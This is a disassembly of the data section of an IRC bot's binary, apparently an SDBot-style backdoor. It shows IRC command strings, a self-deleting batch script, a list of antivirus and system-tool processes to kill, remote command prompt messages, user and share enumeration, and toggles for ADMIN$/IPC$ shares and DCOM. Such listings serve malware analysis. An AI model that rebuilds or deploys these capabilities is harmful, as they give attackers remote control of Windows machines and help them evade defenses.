aRimpy db 'rimpy',0 ; DATA XREF: .data:00438400o
align 4
aJanno db 'janno',0 ; DATA XREF: .data:004383FCo
align 10h
aBunty db 'bunty',0 ; DATA XREF: .data:004383F8o
align 4
aHeval db 'heval',0 ; DATA XREF: .data:004383F4o
align 10h
aCme db 'cme',0 ; DATA XREF: .data:004383F0o
aMarcy db 'marcy',0 ; DATA XREF: .data:004383ECo
align 4
aTalika db 'talika',0 ; DATA XREF: .data:004383E8o
align 4
aShez db 'Shez',0 ; DATA XREF: .data:004383E4o
align 4
aKen db 'ken',0 ; DATA XREF: .data:004383E0o
aFlexster db 'flexster',0 ; DATA XREF: .data:004383DCo
align 4
aKoko db 'koko',0 ; DATA XREF: .data:004383D8o
align 4
aMale db 'male',0 ; DATA XREF: .data:004383D4o
align 4
aSwin db 'swin',0 ; DATA XREF: .data:004383D0o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: .data:004383CCo
aKrizha db 'KRIZHA',0 ; DATA XREF: .data:004383C8o
align 4
aEmilya db 'emilya',0 ; DATA XREF: .data:004383C4o
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:004383C0o
align 4
aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:004383BCo
aFarooq db 'farooq',0 ; DATA XREF: .data:004383B8o
align 4
aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:004383B4o
align 4
aM_1: ; DATA XREF: .data:004383B0o
; .data:004386FCo
unicode 0, <M>,0
word_438E18 dw 4Eh ; DATA XREF: sub_419E7A+38r
; .data:004383ACo
align 4
dword_438E1C dd 42h ; DATA XREF: .data:004383A8o
dword_438E20 dd 56h ; DATA XREF: .data:004383A4o
dword_438E24 dd 43h ; DATA XREF: .data:004383A0o
dword_438E28 dd 58h ; DATA XREF: .data:0043839Co
; .data:00438730o
dword_438E2C dd 5Ah ; DATA XREF: .data:00438398o
dword_438E30 dd 4Ch ; DATA XREF: .data:00438394o
dword_438E34 dd 4Bh ; DATA XREF: .data:00438390o
dword_438E38 dd 4Ah ; DATA XREF: .data:0043838Co
dword_438E3C dd 48h ; DATA XREF: .data:00438388o
dword_438E40 dd 47h ; DATA XREF: .data:00438384o
dword_438E44 dd 46h ; DATA XREF: .data:00438380o
; .data:004386F8o
dword_438E48 dd 44h ; DATA XREF: .data:0043837Co
dword_438E4C dd 53h ; DATA XREF: .data:00438378o
dword_438E50 dd 50h ; DATA XREF: .data:00438370o
dword_438E54 dd 4Fh ; DATA XREF: .data:0043836Co
dword_438E58 dd 55h ; DATA XREF: .data:00438364o
word_438E5C dw 59h ; DATA XREF: sub_41A19E+38r
; .data:00438360o
align 10h
dword_438E60 dd 54h ; DATA XREF: .data:0043835Co
dword_438E64 dd 52h ; DATA XREF: .data:00438358o
dword_438E68 dd 45h ; DATA XREF: .data:00438354o
dword_438E6C dd 57h ; DATA XREF: .data:00438350o
dword_438E70 dd 51h ; DATA XREF: .data:0043834Co
dword_438E74 dd 62h ; DATA XREF: .data:00438340o
; .data:00438634o ...
dword_438E78 dd 78h ; DATA XREF: .data:00438334o
; .data:0043868Co
dword_438E7C dd 7Ah ; DATA XREF: .data:00438330o
; .data:00438694o ...
dword_438E80 dd 68h ; DATA XREF: .data:00438320o
; .data:0043864Co
dword_438E84 dd 67h ; DATA XREF: .data:0043831Co
; .data:00438648o ...
dword_438E88 dd 66h ; DATA XREF: .data:00438318o
; .data:00438644o
dword_438E8C dd 79h ; DATA XREF: .data:004382FCo
; .data:00438690o
dword_438E90 dd 77h ; DATA XREF: .data:004382ECo
; .data:00438688o
; char aNickS_1[]
aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_4177D0+B1o
align 10h
; char a432[]
a432 db '432',0 ; DATA XREF: sub_4177D0+79o
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_4177D0+61o
align 10h
; char aNickSUserSHotm[]
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BB+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 10h
; char a__1[]
a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADE+BCo
; sub_417ADE+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; char aSErrorSD_[]
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418294+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
; char aComspecCSS[]
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
align 4
; char a[]
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41835A+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41835A+48o
align 4
; char asc_43901C[]
asc_43901C db '-' ; DATA XREF: sub_4184E2+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_43904C db 2Dh ; - ; DATA XREF: sub_4184E2+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
; char asc_439074[]
asc_439074 db '-' ; DATA XREF: sub_4184E2+5Co
db 3, 34h, 2
dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h
dd 64h
off_439090 dd offset aAdd ; DATA XREF: sub_4186C2+60r
; sub_418A99+51r ...
; "Add"
off_439094 dd offset aAdded ; DATA XREF: sub_4186C2+2Dr
; sub_418A99+83r ...
; "Added"
dword_439098 dd 0 ; DATA XREF: sub_4186C2+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 439104h, 4390FCh, 2, 4390F0h, 4390E4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0 db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: .data:004390C4o
aStop_0 db 'Stop',0 ; DATA XREF: .data:004390C0o
align 4
aStarted db 'Started',0 ; DATA XREF: .data:004390B8o
aStart_0 db 'Start',0 ; DATA XREF: .data:004390B4o
align 4
aListed db 'Listed',0 ; DATA XREF: .data:004390ACo
align 4
aList_1 db 'List',0 ; DATA XREF: .data:004390A8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: .data:004390A0o
aDelete_0 db 'Delete',0 ; DATA XREF: .data:0043909Co
align 4
aAdded db 'Added',0 ; DATA XREF: .data:off_439094o
align 4
aAdd db 'Add',0 ; DATA XREF: .data:off_439090o
; char asc_439158[]
asc_439158 db '-' ; DATA XREF: sub_4186C2+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43917C db 2Dh ; - ; DATA XREF: sub_4186C2+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
; char asc_4391A8[]
asc_4391A8 db '-' ; DATA XREF: sub_4186C2+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
; char aAnUnknownError[]
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
align 4
; char aTheSystemIsShu[]
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DE:loc_4188E8o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DE:loc_4188E1o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DE:loc_4188DAo
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DE:loc_4188D3o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DE:loc_4188C5o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DE:loc_4188BEo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DE:loc_4188B7o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DE:loc_41888Co
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DE:loc_418885o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DE:loc_41887Eo
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DE:loc_418877o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DE:loc_41884Co
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DE:loc_418824o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
align 10h
; char aSSS_2[]
aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_41895C+EBo
; char aStopped[]
aStopped db ' Stopped',0 ; DATA XREF: sub_41895C:loc_418A28o
aStarting db ' Starting',0 ; DATA XREF: sub_41895C:loc_418A21o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning db ' Running',0 ; DATA XREF: sub_41895C:loc_418A13o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895C:loc_418A0Co
aPausing db ' Pausing',0 ; DATA XREF: sub_41895C:loc_418A05o
aPaused db ' Paused',0 ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895C+25o
align 4
; char asc_4396FC[]
asc_4396FC db '-' ; DATA XREF: sub_418A99+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
; char asc_439720[]
asc_439720 db '-' ; DATA XREF: sub_418A99+8Ao
db 3, 34h, 2
dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h
dd 27h
; char asc_43973C[]
asc_43973C db '-' ; DATA XREF: sub_418A99+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
; char a14s24s6u4s[]
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_418C8F+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8F+B5o
; char asc_439788[]
asc_439788 db '-' ; DATA XREF: sub_418C8F+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8F+26o
align 4
; char asc_4397E8[]
asc_4397E8 db '-' ; DATA XREF: sub_418DB0+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
; char asc_439810[]
asc_439810 db '-' ; DATA XREF: sub_418DB0+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
; char asc_439840[]
asc_439840 db '-' ; DATA XREF: sub_418DB0+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
; char asc_439860[]
asc_439860 db '-' ; DATA XREF: sub_418EF7+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
align 4
; char aMax_StorageD[]
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
align 4
; char aUserSLanguageD[]
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
; char aCountryCodeD[]
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
align 4
; char aWorkstationsS[]
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
align 4
; char aLogonServerS[]
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
align 4
; char aLastLogoffD[]
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF7+283o
; char aLastLogonD[]
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF7+258o
align 4
; char aNumberOfLogins[]
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
align 4
; char aBadPasswordCou[]
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
align 4
; char aPasswordAgeD[]
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
align 10h
; char aParametersS[]
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF7+1ACo
align 10h
; char aHomeDirectoryS[]
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
align 4
; char aAuthFlagsD[]
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF7+156o
align 4
; char aPrivilegeLevel[]
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF7:loc_419016o
align 10h
aUser_3 db 'User',0 ; DATA XREF: sub_418EF7:loc_41900Fo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF7:loc_419008o
align 4
; char aCommentS[]
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF7+DAo
; char aUserCommentS[]
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
align 4
; char aFullNameS[]
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF7+84o
align 4
; char aAccountS[]
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF7+50o
; char aTotalUsersFoun[]
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
align 4
; char asc_439A1C[]
asc_439A1C db '-' ; DATA XREF: sub_4192E0+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
; char aS_4[]
aS_4 db ' %S',0 ; DATA XREF: sub_4192E0+BEo
align 10h
; char asc_439A50[]
asc_439A50 db '-' ; DATA XREF: sub_4192E0+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
; char aNetworkConnect[]
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_419460:loc_419544o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_419460+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419460:loc_4194C3o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_419460:loc_4194AFo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
align 4
; char asc_439D58[]
asc_439D58 db '-' ; DATA XREF: sub_419594+ABo
db 3, 34h, 2
dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h
dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
; char asc_439D84[]
asc_439D84 db '-' ; DATA XREF: sub_419594+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_439DAC dd 7530h ; DATA XREF: sub_419A01+12r
off_439DB0 dd offset aRegedit_exe ; DATA XREF: sub_4196BD+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe_0 ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_4196BD+ECo
; .data:00439E0Co
align 10h
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00439E08o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00439E04o
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:00439E00o
align 4
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:00439DFCo
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:00439DF8o
align 10h
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:00439DF4o
align 4
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00439DF0o
align 4
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00439DECo
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00439DE8o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:00439DE4o
aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:00439DE0o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00439DDCo
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00439DD8o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00439DD4o
align 4
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00439DD0o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:00439DCCo
align 10h
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:00439DC8o
align 10h
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:00439DC4o
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:00439DC0o
align 4
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:00439DBCo
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:00439DB8o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:00439DB4o
align 10h
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:off_439DB0o
; char aSD_0[]
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BD+191o
align 4
; char asc_439F68[]
asc_439F68 db '-' ; DATA XREF: sub_4198EC:loc_419973o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_439F8C db 2Dh ; - ; DATA XREF: sub_4198EC+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 10h
; char asc_439FB0[]
asc_439FB0 db '-' ; DATA XREF: sub_4198EC+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
; char aPrivmsgSS_1[]
aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419C42o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B10+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_43A038 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419BF6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 4
; char asc_43A068[]
asc_43A068 db '-' ; DATA XREF: sub_419C65+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
; char asc_43A09C[]
asc_43A09C db '-' ; DATA XREF: sub_419C65+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 10h
off_43A0C0 dd offset aIpc ; DATA XREF: sub_419E7A+1B3o
; sub_41A19E+17Ao
; "IPC$"
align 8
dd offset aAdmin_0 ; "ADMIN$"
align 10h
off_43A0D0 dd offset dword_43A0EC ; DATA XREF: sub_41A19E+1E3o
dd offset dword_43A0E8
dd offset dword_43A0E4
dd offset dword_43A0E0
dword_43A0E0 dd 5C3A44h ; DATA XREF: sub_419E7A+217o
; .data:0043A0DCo
dword_43A0E4 dd 2444h ; DATA XREF: .data:0043A0D8o
dword_43A0E8 dd 5C3A43h ; DATA XREF: .data:0043A0D4o
dword_43A0EC dd 2443h ; DATA XREF: .data:off_43A0D0o
aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:0043A0C8o
align 4
aIpc db 'IPC$',0 ; DATA XREF: .data:off_43A0C0o
align 10h
; char asc_43A100[]
asc_43A100 db '-' ; DATA XREF: sub_419E7A+2E5o
; sub_41A19E+2DBo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
; char asc_43A130[]
asc_43A130 db '-' ; DATA XREF: sub_419E7A+2CFo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesD db '- Network shares deleted.',0
align 4
; char asc_43A158[]
asc_43A158 db '-' ; DATA XREF: sub_419E7A:loc_41A0DCo
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A184 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 4
; char asc_43A1A8[]
asc_43A1A8 db '-' ; DATA XREF: sub_419E7A:loc_41A049o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A1D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 4
; char asc_43A1F8[]
asc_43A1F8 db '-' ; DATA XREF: sub_419E7A:loc_419FACo
; sub_41A19E:loc_41A2CCo
db 3, 34h, 2
dd 75636573h, 3026572h
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A228 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
; char asc_43A264[]
asc_43A264 db '-' ; DATA XREF: sub_419E7A:loc_419F87o
db 3, 34h, 2
dd 75636573h, 3026572h
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_43A298 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
; sub_41A19E+EDo
align 4
; char asc_43A2E8[]
asc_43A2E8 db '-' ; DATA XREF: sub_419E7A+91o
; sub_41A19E+91o
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
; char asc_43A318[]
asc_43A318 db '-' ; DATA XREF: sub_419E7A:loc_419EE7o
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h
dd 2E64656Ch, 0
dword_43A338 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E7A+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E7A+54o
; sub_41A19E+54o
align 4
; char asc_43A368[]
asc_43A368 db '-' ; DATA XREF: sub_41A19E+2C3o
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesA db '- Network shares added.',0
; char aC[]
aC db '%c:\',0 ; DATA XREF: sub_41A19E+230o
align 4
; char aC_1[]
aC_1 db '%c$',0 ; DATA XREF: sub_41A19E+219o
; char asc_43A398[]
asc_43A398 db '-' ; DATA XREF: sub_41A19E:loc_41A33Do
; sub_41A19E:loc_41A40Eo
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E+198o
; sub_41A19E+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
; char asc_43A41C[]
asc_43A41C db '-' ; DATA XREF: sub_41A19E:loc_41A2A7o
db 3, 34h, 2
dd 75636573h, 3026572h
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
